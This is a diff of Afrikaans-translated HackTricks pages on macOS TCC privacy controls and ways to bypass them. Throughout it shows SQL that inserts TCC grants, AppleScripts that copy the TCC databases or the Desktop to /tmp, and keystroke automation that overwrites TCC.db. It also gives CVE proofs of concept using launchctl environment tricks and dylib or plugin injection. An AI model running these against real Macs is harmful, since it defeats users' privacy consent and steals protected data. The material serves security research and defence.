@ -225,11 +229,9 @@ csreq -t -r /tmp/telegram_csreq.bin
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
Daarom sal ander toepassings wat dieselfde naam en bundel-ID gebruik nie toegang hê tot toestemmings wat aan ander programme verleen is nie.
|
||||
{% endhint %}
|
||||
|
||||
### Toestemmings & TCC-toestemmings
|
||||
#### Toestemmings & TCC-toestemmings
|
||||
|
||||
Toepassings **moet nie net** toegang tot sekere bronne **aanvra** en verkry het nie, hulle moet ook **die relevante toestemmings** hê.\
|
||||
Byvoorbeeld het **Telegram** die toestemming `com.apple.security.device.camera` om **toegang tot die kamera** aan te vra. 'n **Toepassing** sonder hierdie **toestemming sal nie** die kamera kan gebruik nie (en die gebruiker sal selfs nie vir die toestemmings gevra word nie).
|
||||
|
@ -237,6 +239,7 @@ Byvoorbeeld het **Telegram** die toestemming `com.apple.security.device.camera`
|
|||
Nietemin, vir toepassings om toegang tot **sekere gebruikersgids** te hê, soos `~/Desktop`, `~/Downloads` en `~/Documents`, hoef hulle **geen spesifieke toestemmings** te hê nie. Die stelsel sal toegang outomaties hanteer en die gebruiker **soos nodig** versoek.
|
||||
|
||||
Apple se toepassings **sal nie versoekvensters genereer nie**. Hulle bevat **vooraf verleen regte** in hul **toestemmingslys**, wat beteken dat hulle **nooit 'n popup sal genereer** of in enige van die **TCC-databasisse sal verskyn nie.** Byvoorbeeld:
|
||||
|
||||
```bash
|
||||
codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||
[...]
|
||||
|
@ -247,23 +250,23 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
|||
<string>kTCCServiceAddressBook</string>
|
||||
</array>
|
||||
```
|
||||
|
||||
Dit sal verhoed dat Kalender die gebruiker vra om toegang tot herinnerings, kalender en die adresboek te kry.
|
||||
|
||||
{% hint style="success" %}
|
||||
Afgesien van 'n paar amptelike dokumentasie oor toestemmings is dit ook moontlik om onoffisiële **interessante inligting oor toestemmings te vind in** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)
|
||||
{% endhint %}
|
||||
|
||||
Sommige TCC-toestemmings is: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Daar is geen openbare lys wat almal definieer nie, maar jy kan hierdie [**lys van bekende eenhede**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service) nagaan.
|
||||
|
||||
### Sensitiewe onbeskermde plekke
|
||||
#### Sensitiewe onbeskermde plekke
|
||||
|
||||
* $HOME (self)
|
||||
* $HOME/.ssh, $HOME/.aws, ens.
|
||||
* /tmp
|
||||
|
||||
### Gebruikersbedoeling / com.apple.macl
|
||||
#### Gebruikersbedoeling / com.apple.macl
|
||||
|
||||
Soos voorheen genoem, is dit moontlik om **toegang tot 'n toepassing tot 'n lêer te verleen deur dit daarheen te sleep**. Hierdie toegang sal nie in enige TCC-databasis gespesifiseer word nie, maar as 'n **uitgebreide** **kenmerk van die lêer**. Hierdie kenmerk sal **die UUID** van die toegelate toepassing stoor:
|
||||
|
||||
```bash
|
||||
xattr Desktop/private.txt
|
||||
com.apple.macl
|
||||
|
@ -278,73 +281,24 @@ Filename,Header,App UUID
|
|||
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
|
||||
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
||||
```
|
||||
{% hint style="info" %}
|
||||
|
||||
Dit is merkwaardig dat die **`com.apple.macl`** attribuut deur die **Sandbox** bestuur word, nie deur tccd nie.
|
||||
|
||||
Merk ook op dat as jy 'n lêer wat die UUID van 'n toepassing op jou rekenaar toelaat na 'n ander rekenaar skuif, omdat dieselfde toepassing verskillende UID's sal hê, dit nie toegang tot daardie toepassing sal verleen nie.
|
||||
{% endhint %}
|
||||
|
||||
Die uitgebreide attribuut `com.apple.macl` **kan nie skoongemaak word** soos ander uitgebreide eienskappe nie omdat dit deur SIP **beskerm word**. Nietemin, soos [**verduidelik in hierdie pos**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), is dit moontlik om dit te deaktiveer deur die lêer te **zip**, dit te **verwyder** en dit weer te **ontzip**.
|
||||
|
||||
## TCC Privesc & Omgang
|
||||
### TCC Privesc & Omgang
|
||||
|
||||
### Invoeging in TCC
|
||||
#### Invoeging in TCC
|
||||
|
||||
As jy op 'n punt skryftoegang tot 'n TCC-databasis kry, kan jy iets soos die volgende gebruik om 'n inskrywing by te voeg (verwyder die kommentaar):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Invoeging in TCC voorbeeld</summary>
|
||||
```sql
|
||||
INSERT INTO access (
|
||||
service,
|
||||
client,
|
||||
client_type,
|
||||
auth_value,
|
||||
auth_reason,
|
||||
auth_version,
|
||||
csreq,
|
||||
policy_id,
|
||||
indirect_object_identifier_type,
|
||||
indirect_object_identifier,
|
||||
indirect_object_code_identity,
|
||||
flags,
|
||||
last_modified,
|
||||
pid,
|
||||
pid_version,
|
||||
boot_uuid,
|
||||
last_reminded
|
||||
) VALUES (
|
||||
'kTCCServiceSystemPolicyDesktopFolder', -- service
|
||||
'com.googlecode.iterm2', -- client
|
||||
0, -- client_type (0 - bundle id)
|
||||
2, -- auth_value (2 - allowed)
|
||||
3, -- auth_reason (3 - "User Set")
|
||||
1, -- auth_version (always 1)
|
||||
X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now
|
||||
NULL, -- policy_id
|
||||
NULL, -- indirect_object_identifier_type
|
||||
'UNUSED', -- indirect_object_identifier - default value
|
||||
NULL, -- indirect_object_code_identity
|
||||
0, -- flags
|
||||
strftime('%s', 'now'), -- last_modified with default current timestamp
|
||||
NULL, -- assuming pid is an integer and optional
|
||||
NULL, -- assuming pid_version is an integer and optional
|
||||
'UNUSED', -- default value for boot_uuid
|
||||
strftime('%s', 'now') -- last_reminded with default current timestamp
|
||||
);
|
||||
```
|
||||
</details>
|
||||
|
||||
### TCC-lading
|
||||
#### TCC-lading
|
||||
|
||||
As jy daarin geslaag het om binne 'n program met sekere TCC-toestemmings te kom, kyk na die volgende bladsy met TCC-ladinge om hulle te misbruik:
|
||||
|
||||
{% content-ref url="macos-tcc-payloads.md" %}
|
||||
[macos-tcc-payloads.md](macos-tcc-payloads.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Outomatisering (Finder) na FDA\*
|
||||
#### Outomatisering (Finder) na FDA\*
|
||||
|
||||
Die TCC-naam van die Outomatisering-toestemming is: **`kTCCServiceAppleEvents`**\
|
||||
Hierdie spesifieke TCC-toestemming dui ook die **toepassing aan wat binne die TCC-databasis bestuur kan word** (sodat die toestemmings nie net alles toelaat om bestuur te word nie).
|
||||
|
@ -352,257 +306,18 @@ Hierdie spesifieke TCC-toestemming dui ook die **toepassing aan wat binne die TC
|
|||
**Finder** is 'n toepassing wat **altyd FDA het** (selfs al verskyn dit nie in die UI nie), so as jy **Outomatisering**-voorregte daaroor het, kan jy sy voorregte misbruik om dit **sekere aksies te laat uitvoer**.\
|
||||
In hierdie geval sal jou program die toestemming **`kTCCServiceAppleEvents`** oor **`com.apple.Finder`** benodig.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Steel gebruikers TCC.db" %}
|
||||
```applescript
|
||||
# This AppleScript will copy the system TCC database into /tmp
|
||||
osascript<<EOD
|
||||
tell application "Finder"
|
||||
set homeFolder to path to home folder as string
|
||||
set sourceFile to (homeFolder & "Library:Application Support:com.apple.TCC:TCC.db") as alias
|
||||
set targetFolder to POSIX file "/tmp" as alias
|
||||
duplicate file sourceFile to targetFolder with replacing
|
||||
end tell
|
||||
EOD
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Steel stelsel TCC.db" %}
|
||||
```applescript
|
||||
osascript<<EOD
|
||||
tell application "Finder"
|
||||
set sourceFile to POSIX file "/Library/Application Support/com.apple.TCC/TCC.db" as alias
|
||||
set targetFolder to POSIX file "/tmp" as alias
|
||||
duplicate file sourceFile to targetFolder with replacing
|
||||
end tell
|
||||
EOD
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
\# This AppleScript will copy the system TCC database into /tmposascript<\<EODtell application "Finder"set homeFolder to path to home folder as stringset sourceFile to (homeFolder & "Library:Application Support:com.apple.TCC:TCC.db") as aliasset targetFolder to POSIX file "/tmp" as aliasduplicate file sourceFile to targetFolder with replacingend tellEODosascript<\<EODtell application "Finder"set sourceFile to POSIX file "/Library/Application Support/com.apple.TCC/TCC.db" as aliasset targetFolder to POSIX file "/tmp" as aliasduplicate file sourceFile to targetFolder with replacingend tellEOD
|
||||
|
||||
Jy kan dit misbruik om **jou eie gebruiker TCC-databasis te skryf**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Met hierdie toestemming sal jy in staat wees om **finder te vra om toegang tot TCC-beperkte mappe** en jou die lêers te gee, maar na my wete sal jy **nie in staat wees om Finder te laat arbitrêre kodes uitvoer** om sy volle FDA-toegang te misbruik nie.
|
||||
|
||||
Daarom sal jy nie die volle FDA-vermoëns kan misbruik nie.
|
||||
{% endhint %}
|
||||
|
||||
Dit is die TCC-prompt om Outomatiseringsvoorregte oor Finder te kry:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
<img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
{% hint style="danger" %}
|
||||
Let daarop dat omdat die **Automator**-toepassing die TCC-toestemming **`kTCCServiceAppleEvents`** het, kan dit **enige toepassing** beheer, soos Finder. Dus, deur die toestemming te hê om Automator te beheer, kan jy ook die **Finder** beheer met 'n kode soos die een hieronder:
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Kry 'n skaal binne Automator</summary>
|
||||
```applescript
|
||||
osascript<<EOD
|
||||
set theScript to "touch /tmp/something"
|
||||
|
||||
tell application "Automator"
|
||||
set actionID to Automator action id "com.apple.RunShellScript"
|
||||
tell (make new workflow)
|
||||
add actionID to it
|
||||
tell last Automator action
|
||||
set value of setting "inputMethod" to 1
|
||||
set value of setting "COMMAND_STRING" to theScript
|
||||
end tell
|
||||
execute it
|
||||
end tell
|
||||
activate
|
||||
end tell
|
||||
EOD
|
||||
# Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear
|
||||
```
|
||||
</besonderhede>
|
||||
|
||||
Dieselfde gebeur met die **Script Editor-toepassing,** dit kan Finder beheer, maar deur 'n AppleScript te gebruik, kan jy dit nie dwing om 'n skrip uit te voer nie.
|
||||
|
||||
### Outomatisering (SE) na sommige TCC
|
||||
|
||||
**Stelselgebeure kan Mapaksies skep, en Mapaksies kan toegang verkry tot sommige TCC-mappe** (Lessenaar, Dokumente & Aflaaibare lêers), so 'n skrip soos die volgende kan gebruik word om van hierdie gedrag misbruik te maak:
|
||||
```bash
|
||||
# Create script to execute with the action
|
||||
cat > "/tmp/script.js" <<EOD
|
||||
var app = Application.currentApplication();
|
||||
app.includeStandardAdditions = true;
|
||||
app.doShellScript("cp -r $HOME/Desktop /tmp/desktop");
|
||||
EOD
|
||||
|
||||
osacompile -l JavaScript -o "$HOME/Library/Scripts/Folder Action Scripts/script.scpt" "/tmp/script.js"
|
||||
|
||||
# Create folder action with System Events in "$HOME/Desktop"
|
||||
osascript <<EOD
|
||||
tell application "System Events"
|
||||
-- Ensure Folder Actions are enabled
|
||||
set folder actions enabled to true
|
||||
|
||||
-- Define the path to the folder and the script
|
||||
set homeFolder to path to home folder as text
|
||||
set folderPath to homeFolder & "Desktop"
|
||||
set scriptPath to homeFolder & "Library:Scripts:Folder Action Scripts:script.scpt"
|
||||
|
||||
-- Create or get the Folder Action for the Desktop
|
||||
if not (exists folder action folderPath) then
|
||||
make new folder action at end of folder actions with properties {name:folderPath, path:folderPath}
|
||||
end if
|
||||
set myFolderAction to folder action folderPath
|
||||
|
||||
-- Attach the script to the Folder Action
|
||||
if not (exists script scriptPath of myFolderAction) then
|
||||
make new script at end of scripts of myFolderAction with properties {name:scriptPath, path:scriptPath}
|
||||
end if
|
||||
|
||||
-- Enable the Folder Action and the script
|
||||
enable myFolderAction
|
||||
end tell
|
||||
EOD
|
||||
|
||||
# File operations in the folder should trigger the Folder Action
|
||||
touch "$HOME/Desktop/file"
|
||||
rm "$HOME/Desktop/file"
|
||||
```
|
||||
### Outomatisering (SE) + Toeganklikheid (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** na FDA\*
|
||||
|
||||
Outomatisering op **`System Events`** + Toeganklikheid (**`kTCCServicePostEvent`**) maak dit moontlik om **toetsaanslae na prosesse** te stuur. Op hierdie manier kan jy Finder misbruik om die gebruikers TCC.db te verander of om FDA aan 'n willekeurige toepassing te gee (alhoewel 'n wagwoord hiervoor gevra kan word).
|
||||
|
||||
Voorbeeld van Finder wat die gebruikers TCC.db oorskryf:
|
||||
```applescript
|
||||
-- store the TCC.db file to copy in /tmp
|
||||
osascript <<EOF
|
||||
tell application "System Events"
|
||||
-- Open Finder
|
||||
tell application "Finder" to activate
|
||||
|
||||
-- Open the /tmp directory
|
||||
keystroke "g" using {command down, shift down}
|
||||
delay 1
|
||||
keystroke "/tmp"
|
||||
delay 1
|
||||
keystroke return
|
||||
delay 1
|
||||
|
||||
-- Select and copy the file
|
||||
keystroke "TCC.db"
|
||||
delay 1
|
||||
keystroke "c" using {command down}
|
||||
delay 1
|
||||
|
||||
-- Resolve $HOME environment variable
|
||||
set homePath to system attribute "HOME"
|
||||
|
||||
-- Navigate to the Desktop directory under $HOME
|
||||
keystroke "g" using {command down, shift down}
|
||||
delay 1
|
||||
keystroke homePath & "/Library/Application Support/com.apple.TCC"
|
||||
delay 1
|
||||
keystroke return
|
||||
delay 1
|
||||
|
||||
-- Check if the file exists in the destination and delete if it does (need to send keystorke code: https://macbiblioblog.blogspot.com/2014/12/key-codes-for-function-and-special-keys.html)
|
||||
keystroke "TCC.db"
|
||||
delay 1
|
||||
keystroke return
|
||||
delay 1
|
||||
key code 51 using {command down}
|
||||
delay 1
|
||||
|
||||
-- Paste the file
|
||||
keystroke "v" using {command down}
|
||||
end tell
|
||||
EOF
|
||||
```
|
||||
### `kTCCServiceAccessibility` na FDA\*
|
||||
|
||||
Kyk na hierdie bladsy vir sommige [**payloads om die Toeganklikheidsregte te misbruik**](macos-tcc-payloads.md#accessibility) om te privilige-escalate na FDA\* of hardloop byvoorbeeld 'n sleutelvanger.
|
||||
|
||||
### **Eindpunt Sekuriteit Klient na FDA**
|
||||
|
||||
As jy **`kTCCServiceEndpointSecurityClient`** het, het jy FDA. Einde.
|
||||
|
||||
### Stelselbeleid SysAdmin-lêer na FDA
|
||||
|
||||
**`kTCCServiceSystemPolicySysAdminFiles`** maak dit moontlik om die **`NFSHomeDirectory`** eienskap van 'n gebruiker te **verander** wat sy tuisgids verander en dus toelaat om TCC te **omseil**.
|
||||
|
||||
### Gebruiker TCC DB na FDA
|
||||
|
||||
Deur **skryfregte** oor die **gebruiker TCC** databasis te verkry, kan jy nie jouself **`FDA`** regte gee nie, slegs die een wat in die stelsel databasis woon kan dit toeken.
|
||||
|
||||
Maar jy kan jouself **`Outomatiese regte tot Finder`** gee, en die vorige tegniek misbruik om te privilige-escalate na FDA\*.
|
||||
|
||||
### **FDA na TCC-regte**
|
||||
|
||||
**Volle Skyf Toegang** se TCC-naam is **`kTCCServiceSystemPolicyAllFiles`**
|
||||
|
||||
Ek dink nie dit is 'n werklike privilige-escalate nie, maar net in die geval jy dit nuttig vind: As jy 'n program met FDA beheer, kan jy die gebruikers TCC databasis **verander en jouself enige toegang gee**. Dit kan nuttig wees as 'n volhardingstegniek in die geval jy jou FDA-regte mag verloor.
|
||||
|
||||
### **SIP-omseiling na TCC-omseiling**
|
||||
|
||||
Die stelsel **TCC-databasis** word beskerm deur **SIP**, daarom sal slegs prosesse met die **aangeduide toekennings in staat wees om dit te verander**. Daarom, as 'n aanvaller 'n **SIP-omseiling** oor 'n **lêer** vind (in staat is om 'n lêer wat deur SIP beperk word te verander), sal hy in staat wees om:
|
||||
|
||||
* **Verwyder die beskerming** van 'n TCC-databasis, en homself alle TCC-regte gee. Hy kan enige van hierdie lêers byvoorbeeld misbruik:
|
||||
* Die TCC-stelseldatabasis
|
||||
* REG.db
|
||||
* MDMOverrides.plist
|
||||
|
||||
Daar is egter 'n ander opsie om hierdie **SIP-omseiling te misbruik om TCC te omseil**, die lêer `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` is 'n lys van programme wat 'n TCC-uitsondering benodig. Daarom, as 'n aanvaller die SIP-beskerming kan **verwyder** van hierdie lêer en sy **eie aansoek** byvoeg, sal die aansoek in staat wees om TCC te omseil.\
|
||||
Byvoorbeeld om terminal by te voeg:
|
||||
```bash
|
||||
# Get needed info
|
||||
codesign -d -r- /System/Applications/Utilities/Terminal.app
|
||||
```
|
||||
### AllowApplicationsList.plist:
|
||||
|
||||
### ToegestaneAansoekelys.plist:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>Services</key>
|
||||
<dict>
|
||||
<key>SystemPolicyAllFiles</key>
|
||||
<array>
|
||||
<dict>
|
||||
<key>CodeRequirement</key>
|
||||
<string>identifier "com.apple.Terminal" and anchor apple</string>
|
||||
<key>IdentifierType</key>
|
||||
<string>bundleID</string>
|
||||
<key>Identifier</key>
|
||||
<string>com.apple.Terminal</string>
|
||||
</dict>
|
||||
</array>
|
||||
</dict>
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
### TCC Omgang
|
||||
|
||||
{% content-ref url="macos-tcc-bypasses/" %}
|
||||
[macos-tcc-bypasses](macos-tcc-bypasses/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Verwysings
|
||||
|
||||
* [**https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)
|
||||
* [**https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command**](https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command)
|
||||
* [**https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/)
|
||||
* [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# macOS TCC Omgang
|
||||
# macOS TCC Bypasses
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -19,6 +19,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
### Skryf Omgang
|
||||
|
||||
Dit is nie 'n omgang nie, dit is net hoe TCC werk: **Dit beskerm nie teen skryf nie**. As Terminal **nie toegang het om die Lessenaar van 'n gebruiker te lees nie, kan dit steeds daarin skryf**:
|
||||
|
||||
```shell-session
|
||||
username@hostname ~ % ls Desktop
|
||||
ls: Desktop: Operation not permitted
|
||||
|
@ -28,13 +29,14 @@ ls: Desktop: Operation not permitted
|
|||
username@hostname ~ % cat Desktop/lalala
|
||||
asd
|
||||
```
|
||||
|
||||
Die **uitgebreide attribuut `com.apple.macl`** word by die nuwe **lêer** gevoeg om die **skeppersprogram** toegang te gee om dit te lees.
|
||||
|
||||
### TCC ClickJacking
|
||||
|
||||
Dit is moontlik om **'n venster oor die TCC-prompt te plaas** om die gebruiker dit te laat **aanvaar** sonder om dit te besef. Jy kan 'n PoC vind in [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**.**
|
||||
|
||||
<figure><img src="broken-reference" alt=""><figcaption><p><a href="https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg">https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg</a></p></figcaption></figure>
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/af/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/broken-reference" alt=""><figcaption><p><a href="https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg">https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg</a></p></figcaption></figure>
|
||||
|
||||
### TCC Aanvraag per willekeurige naam
|
||||
|
||||
|
@ -75,7 +77,7 @@ Die toestemming **`com.apple.private.icloud-account-access`** dit is moontlik om
|
|||
|
||||
**iMovie** en **Garageband** het hierdie toestemming en ander wat toegelaat het.
|
||||
|
||||
Vir meer **inligting** oor die uitbuiting om **iCloud-tokens te kry** van daardie toestemming, kyk na die geselsie: [**#OBTS v5.0: "Wat Gebeur op jou Mac, Bly op Apple se iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
Vir meer **inligting** oor die uitbuiting om **iCloud-tokens te kry** van daardie toestemming, kyk na die geselsie: [**#OBTS v5.0: "Wat Gebeur op jou Mac, Bly op Apple se iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
|
||||
|
||||
### kTCCServiceAppleEvents / Outomatisering
|
||||
|
||||
|
@ -108,12 +110,15 @@ end tell
|
|||
end tell
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
```bash
|
||||
osascript iterm.script
|
||||
```
|
||||
|
||||
#### Oor Finder
|
||||
|
||||
Of as 'n toepassing toegang oor Finder het, kan dit 'n skriffie soos hierdie een wees:
|
||||
|
||||
```applescript
|
||||
set a_user to do shell script "logname"
|
||||
tell application "Finder"
|
||||
|
@ -123,6 +128,7 @@ set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alia
|
|||
end tell
|
||||
do shell script "rm " & POSIX path of (copyFile as alias)
|
||||
```
|
||||
|
||||
## Volgens App-gedrag
|
||||
|
||||
### CVE-2020–9934 - TCC <a href="#c19b" id="c19b"></a>
|
||||
|
@ -132,6 +138,7 @@ Die gebruikersland **tccd daemon** wat die **`HOME`** **env** veranderlike gebru
|
|||
Volgens [hierdie Stack Exchange pos](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) en omdat die TCC daemon hardloop via `launchd` binne die huidige gebruiker se domein, is dit moontlik om **alle omgewingsveranderlikes** wat aan dit oorgedra word, te **beheer**.\
|
||||
Dus kan 'n **aanvaller die `$HOME` omgewingsveranderlike** in **`launchctl`** instel om te verwys na 'n **beheerde gids**, die **TCC** daemon **herlaai**, en dan die **TCC-databasis direk wysig** om homself **elke TCC-toestemming beskikbaar** te gee sonder om ooit die eindgebruiker te vra.\
|
||||
PoC:
|
||||
|
||||
```bash
|
||||
# reset database just in case (no cheating!)
|
||||
$> tccutil reset All
|
||||
|
@ -158,6 +165,7 @@ NULL,
|
|||
# list Documents directory without prompting the end user
|
||||
$> ls ~/Documents
|
||||
```
|
||||
|
||||
### CVE-2021-30761 - Notas
|
||||
|
||||
Notas het toegang gehad tot TCC-beskermde plekke, maar wanneer 'n nota geskep word, word dit **geskep in 'n nie-beskermde plek**. So, jy kon notas vra om 'n beskermde lêer in 'n nota te kopieer (dus in 'n nie-beskermde plek) en dan die lêer te benader:
|
||||
|
@ -189,11 +197,13 @@ As **`SQLITE_SQLLOG_DIR="pad/vouer"`** basies beteken dat **enige oop db na daar
|
|||
As die omgewingsveranderlike **`SQLITE_AUTO_TRACE`** ingestel is, sal die biblioteek **`libsqlite3.dylib`** begin om al die SQL-navrae **te log**. Baie toepassings het hierdie biblioteek gebruik, dus was dit moontlik om al hul SQLite-navrae te log.
|
||||
|
||||
Verskeie Apple-toepassings het hierdie biblioteek gebruik om toegang tot TCC-beskermde inligting te verkry.
|
||||
|
||||
```bash
|
||||
# Set this env variable everywhere
|
||||
launchctl setenv SQLITE_AUTO_TRACE 1
|
||||
```
|
||||
### MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407
|
||||
|
||||
### MTL\_DUMP\_PIPELINES\_TO\_JSON\_FILE - CVE-2023-32407
|
||||
|
||||
Hierdie **omgewingsveranderlike word deur die `Metal`-raamwerk** gebruik wat 'n afhanklikheid is van verskeie programme, veral `Musiek`, wat FDA het.
|
||||
|
||||
|
@ -284,11 +294,13 @@ Die toepassing `/Sisteem/Biblioteek/Kerndiens/Apps/Gidsnut.app` het die toestemm
|
|||
Om hierdie CVE te bewapen, is die **`NFSHomeDirectory`** verander (deur die vorige toestemming te misbruik) om in staat te wees om die gebruikers TCC-databasis oor te neem om TCC te omseil.
|
||||
|
||||
Vir meer inligting, kyk na die [**oorspronklike verslag**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/).
|
||||
|
||||
### CVE-2020-29621 - Coreaudiod
|
||||
|
||||
Die binêre **`/usr/sbin/coreaudiod`** het die entitlements `com.apple.security.cs.disable-library-validation` en `com.apple.private.tcc.manager` gehad. Die eerste **laat kode-inspuiting toe** en die tweede gee dit toegang om **TCC te bestuur**.
|
||||
|
||||
Hierdie binêre het toegelaat om **derde party invoegtoepassings** van die folder `/Library/Audio/Plug-Ins/HAL` te laai. Daarom was dit moontlik om **'n invoegtoepassing te laai en die TCC-toestemmings te misbruik** met hierdie PoC:
|
||||
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <Security/Security.h>
|
||||
|
@ -315,6 +327,7 @@ add_tcc_entry();
|
|||
NSLog(@"[+] Exploitation finished...");
|
||||
exit(0);
|
||||
```
|
||||
|
||||
Vir meer inligting, kyk na die [**oorspronklike verslag**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/).
|
||||
|
||||
### Toestel-Abstraksie-Laag (DAL) Inproppe
|
||||
|
@ -328,6 +341,7 @@ Verskeie Apple-toepassings was vatbaar hiervoor.
|
|||
### Firefox
|
||||
|
||||
Die Firefox-toepassing het die `com.apple.security.cs.disable-library-validation` en `com.apple.security.cs.allow-dyld-environment-variables` toestemmings:
|
||||
|
||||
```xml
|
||||
codesign -d --entitlements :- /Applications/Firefox.app
|
||||
Executable=/Applications/Firefox.app/Contents/MacOS/firefox
|
||||
|
@ -353,6 +367,7 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
|
||||
Vir meer inligting oor hoe om hierdie maklik te misbruik, [kontroleer die oorspronklike verslag](https://wojciechregula.blog/post/how-to-rob-a-firefox/).
|
||||
|
||||
### CVE-2020-10006
|
||||
|
@ -364,6 +379,7 @@ Die binêre lêer `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` het
|
|||
Telegram het die toestemmings **`com.apple.security.cs.allow-dyld-environment-variables`** en **`com.apple.security.cs.disable-library-validation`** gehad, dus was dit moontlik om dit te misbruik om **toegang tot sy toestemmings** te kry, soos die opname met die kamera. Jy kan [**die nutlading in die skryfstuk vind**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
|
||||
|
||||
Merk op hoe om die omgewingsveranderlike te gebruik om 'n biblioteek te laai, is 'n **aangepaste plist** geskep om hierdie biblioteek in te spuit en **`launchctl`** is gebruik om dit te begin:
|
||||
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -393,6 +409,7 @@ Merk op hoe om die omgewingsveranderlike te gebruik om 'n biblioteek te laai, is
|
|||
```bash
|
||||
launchctl load com.telegram.launcher.plist
|
||||
```
|
||||
|
||||
## Deur oop aanroepings
